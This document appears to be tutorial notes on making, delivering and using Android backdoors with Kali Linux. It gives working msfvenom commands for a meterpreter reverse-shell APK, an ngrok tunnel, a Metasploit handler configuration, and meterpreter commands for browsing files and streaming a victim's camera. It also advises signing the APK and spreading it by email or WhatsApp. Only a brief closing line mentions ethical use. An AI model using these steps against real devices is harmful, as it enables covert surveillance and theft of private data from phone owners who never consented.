Android Backdoors: Creating, Delivering, and Exploiting Using Kali Linux

Introduction

• Objective: Access target devices (phones/tablets) to discover files, folders, webcams, cameras, and private information.
• Method: Utilize tools in Kali Linux.
• Challenge: Delivery of malicious files to target devices, especially on iOS and Android.

Delivery Challenges

• iOS Devices: Difficult to get users to download and execute files.
  • App Store Restrictions: Apple reviews and approves apps; malicious apps are quickly identified and removed.
  • Business Developer Accounts: More freedom but expensive ($300/year) and still monitored.
• Android Devices: Easier delivery methods via emails, WhatsApp, etc.
  • Users frequently download APKs from sources other than Google Play.
  • Necessary to enable “Unknown Sources” settings.

Focus on Android Backdoors

• Practical to create Android backdoors to distribute and test legally.
• Goal: Create and distribute backdoors effectively.

Using Metasploit and msfvenom

• Tools: msfvenom to create backdoors, Metasploit for managing sessions.
• Example Command: msfvenom -p android/meterpreter/reverse_tcp LHOST=xxxx LPORT=xxxx -o /path/to/file.apk
  • Payload: android/meterpreter/reverse_tcp
  • LHOST: Local Host address
  • LPORT: Local Port

Understanding IPs and Port Forwarding

• Local IP: Assigned by the router to devices in a local network.
• Public IP: Assigned to the router by the ISP.
• Challenges: Sharing public IP is unsafe and trackable.
• Port Forwarding: Tells the router which local device should handle incoming connections.

Tunneling with ngrok

• Objective: Overcome IP and port forwarding issues.

• Process:

  1. Create an ngrok account.
  2. Download and set up ngrok.
  3. Use ngrok to tunnel connections from the internet to your local machine.

• Command Example: ngrok tcp 4242

• Result: Forwarding address to be used in msfvenom and Metasploit.

Final Steps to Create Backdoor

1. Open Kali Linux terminal.
2. Run ngrok with relevant port.
3. Generate APK using msfvenom with ngrok address: msfvenom -p android/meterpreter/reverse_tcp LHOST=xxxx LPORT=xxxx -o /path/to/file.apk
4. Sign APK (essential for installation on Android devices).
5. Distribute APK via email, WhatsApp, etc.

Handling Connection

• Metasploit: Use to listen for connections. msfconsole use exploit/multi/handler set payload android/meterpreter/reverse_tcp set LHOST 0.0.0.0 set LPORT 4242 exploit -j -z

Interacting with the Hacked Device

• Commands:
  • sessions -i 1: Interact with session.
  • ls, cd, and other meterpreter file system commands.
  • webcam_stream: Stream from device's camera.
  • Other commands available (help to view all).

Conclusion

• Caution: Understand the vulnerability and be careful of APK files from unknown sources.
• Applications: Ethical hacking for learning, avoid misuse.

Next Steps

• Learn more about Android development and deeper hacking techniques.